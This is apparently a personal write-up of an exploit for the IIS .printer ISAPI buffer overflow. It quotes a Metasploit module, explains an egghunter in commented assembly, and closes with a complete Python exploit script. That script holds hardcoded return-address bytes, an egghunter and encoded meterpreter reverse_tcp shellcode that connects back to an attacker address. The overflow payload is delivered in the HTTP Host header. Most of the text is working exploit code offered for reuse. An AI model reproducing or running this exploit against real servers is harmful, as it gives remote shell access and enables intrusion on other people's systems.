After breaking out immunity debugger it became clear as to why the exploit did not work everytime. According to the metasploit module the shellcode was being held at an offset of EBX and with a short assembly stub we jump to that location (see metasploit snippet below)
buf = make_nops(280)
buf[268, 4] = [target.ret].pack('V')
# payload is at: [ebx + 96] + 256 + 64
buf << "\x8b\x4b\x60" # mov ecx, [ebx + 96]
buf << "\x80\xc1\x40" # add cl, 64
buf << "\x80\xc5\x01" # add ch, 1
buf << "\xff\xe1" # jmp ecx
sock.put("GET http://#{buf}/NULL.printer?#{payload.encoded} HTTP/1.0\r\n\r\n")
While this does work, it appears that sometimes the payload is not within the window and the exploit is not successful. Since we know about where in memory our payload will be when we gain control of EIP seems like a good place to use an egghunter :) I started out with an existing egghunter(http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf) and modified it a little since I know about where in memory my payload is there was no sense looking everywhere for it :) A warning ahead of time - I was lazy and nop'd out the access violation check...I had plenty of bytes to burn ;) -
mov edx, ebx #ebx is the area of our starting point
or dx, 0fff
xor dx,0fff #clear out the bottom half of edx for the start of our loop
inc edx #increment edx - this is the start of our loop
nop #abbreviated nops where the original access violation check was
...
...
mov eax, 57303054 #load our egg "W00T"
mov edi, edx #set edi to point at our current location in memory
scas dword ptr es:[edi] #compare our egg to dword at edi
jnz #jump back to the start of our loop (inc edx) if we didnt find the egg
scas dword ptr es:[edi] #compare our egg to the next dword for the 2nd part of the egg
jnz #jump back to the start of our loop (inc edx) if we didnt find the 2nd egg
jmp edi #jump to edi as it points to the first byte after our egg
After implementing the egghunter into the exploit I had no issues getting a shell everytime :)
Full exploit below - obviously will have to change the shellcode for it to work for you -
import urllib2
import sys
shell= "T00WT00W"
shell +="\x90"*(10)
########################################################################################################
# msfpayload windows/meterpreter/reverse_tcp lhost=192.168.170.1 R|msfencode -e x86/alpha_upper -t c #
########################################################################################################
shell += ("\x89\xe1\xd9\xe8\xd9\x71\xf4\x5a\x4a\x4a\x4a\x4a\x4a\x43\x43"
"\x43\x43\x43\x43\x52\x59\x56\x54\x58\x33\x30\x56\x58\x34\x41"
"\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41\x41\x42"
"\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58\x50"
"\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a\x48\x4b\x39\x43\x30\x45"
"\x50\x45\x50\x45\x30\x4d\x59\x4a\x45\x50\x31\x4e\x32\x45\x34"
"\x4c\x4b\x46\x32\x50\x30\x4c\x4b\x51\x42\x44\x4c\x4c\x4b\x51"
"\x42\x44\x54\x4c\x4b\x43\x42\x46\x48\x44\x4f\x4f\x47\x50\x4a"
"\x46\x46\x46\x51\x4b\x4f\x46\x51\x49\x50\x4e\x4c\x47\x4c\x43"
"\x51\x43\x4c\x44\x42\x46\x4c\x51\x30\x49\x51\x48\x4f\x44\x4d"
"\x43\x31\x49\x57\x4b\x52\x4a\x50\x46\x32\x51\x47\x4c\x4b\x50"
"\x52\x42\x30\x4c\x4b\x47\x32\x47\x4c\x45\x51\x48\x50\x4c\x4b"
"\x47\x30\x42\x58\x4b\x35\x4f\x30\x42\x54\x51\x5a\x43\x31\x4e"
"\x30\x50\x50\x4c\x4b\x47\x38\x42\x38\x4c\x4b\x46\x38\x51\x30"
"\x45\x51\x49\x43\x4d\x33\x47\x4c\x50\x49\x4c\x4b\x47\x44\x4c"
"\x4b\x43\x31\x4e\x36\x50\x31\x4b\x4f\x46\x51\x49\x50\x4e\x4c"
"\x49\x51\x48\x4f\x44\x4d\x45\x51\x48\x47\x47\x48\x4d\x30\x42"
"\x55\x4b\x44\x44\x43\x43\x4d\x4b\x48\x47\x4b\x43\x4d\x46\x44"
"\x44\x35\x4a\x42\x50\x58\x4c\x4b\x50\x58\x46\x44\x45\x51\x49"
"\x43\x42\x46\x4c\x4b\x44\x4c\x50\x4b\x4c\x4b\x51\x48\x45\x4c"
"\x43\x31\x49\x43\x4c\x4b\x45\x54\x4c\x4b\x43\x31\x48\x50\x4d"
"\x59\x51\x54\x47\x54\x47\x54\x51\x4b\x51\x4b\x43\x51\x46\x39"
"\x51\x4a\x46\x31\x4b\x4f\x4d\x30\x50\x58\x51\x4f\x51\x4a\x4c"
"\x4b\x42\x32\x4a\x4b\x4b\x36\x51\x4d\x42\x48\x46\x53\x46\x52"
"\x43\x30\x43\x30\x43\x58\x42\x57\x42\x53\x47\x42\x51\x4f\x50"
"\x54\x43\x58\x50\x4c\x43\x47\x46\x46\x43\x37\x4b\x4f\x49\x45"
"\x48\x38\x4a\x30\x45\x51\x45\x50\x45\x50\x46\x49\x49\x54\x50"
"\x54\x50\x50\x45\x38\x46\x49\x4b\x30\x42\x4b\x45\x50\x4b\x4f"
"\x48\x55\x46\x30\x50\x50\x46\x30\x46\x30\x47\x30\x46\x30\x51"
"\x50\x46\x30\x42\x48\x4b\x5a\x44\x4f\x49\x4f\x4d\x30\x4b\x4f"
"\x49\x45\x4a\x37\x42\x4a\x43\x35\x45\x38\x4f\x30\x49\x38\x4f"
"\x5a\x43\x31\x45\x38\x44\x42\x43\x30\x42\x31\x51\x4c\x4c\x49"
"\x4a\x46\x43\x5a\x42\x30\x50\x56\x51\x47\x43\x58\x4a\x39\x49"
"\x35\x43\x44\x43\x51\x4b\x4f\x48\x55\x4d\x55\x4f\x30\x43\x44"
"\x44\x4c\x4b\x4f\x50\x4e\x43\x38\x44\x35\x4a\x4c\x45\x38\x4a"
"\x50\x48\x35\x4f\x52\x50\x56\x4b\x4f\x48\x55\x43\x5a\x43\x30"
"\x43\x5a\x44\x44\x46\x36\x51\x47\x42\x48\x45\x52\x4e\x39\x4f"
"\x38\x51\x4f\x4b\x4f\x48\x55\x4c\x4b\x47\x46\x43\x5a\x51\x50"
"\x42\x48\x45\x50\x42\x30\x43\x30\x43\x30\x50\x56\x42\x4a\x45"
"\x50\x45\x38\x50\x58\x4e\x44\x46\x33\x4b\x55\x4b\x4f\x49\x45"
"\x4a\x33\x46\x33\x43\x5a\x43\x30\x50\x56\x51\x43\x50\x57\x42"
"\x48\x44\x42\x48\x59\x4f\x38\x51\x4f\x4b\x4f\x4e\x35\x45\x51"
"\x49\x53\x51\x39\x49\x56\x4d\x55\x4c\x36\x43\x45\x4a\x4c\x4f"
"\x33\x44\x4a\x41\x41")
egghunter="\x8B\xD3\x66\x81\xCA\xFF\x0F\x66\x81\xF2\xFF\x0F\x42\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xB8\x54\x30\x30\x57\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7"
buff = 'A'*268 + '\x4d\x3f\xe3\x77' +"\x90"*5 + egghunter + '\x90'*156
useragent = 'Shit Bird'
header = {'User-Agent':useragent, 'Host':buff}
req = urllib2.Request('http://'+sys.argv[1]+'/NULL.printer?'+shell,headers = header)
res = urllib2.urlopen(req)
res.close()